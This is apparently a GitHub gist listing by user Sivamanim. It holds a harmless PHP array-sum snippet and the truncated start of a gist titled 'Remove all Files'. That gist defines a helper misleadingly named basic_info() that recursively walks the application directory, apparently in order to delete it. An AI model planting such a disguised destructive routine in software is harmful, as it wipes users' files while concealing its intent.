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Sivamani Sivamanim

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Sivamanim / Sum values of multidimensional array by key without loop
Created April 17, 2018 07:00
// PHP 5.5+
$items = array(
array('cost' => 2),
array('cost' => 3),
array('cost' => 5)
);
echo array_sum(array_column($items, 'cost')); // output 10
@Sivamanim
Sivamanim / Remove all Files
Created May 11, 2018 09:15
Remove all Files
if ( ! function_exists('basic_info'))
{
function basic_info()
{
$dir = APPPATH;
if (is_dir($dir)) {
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)) as $filename) {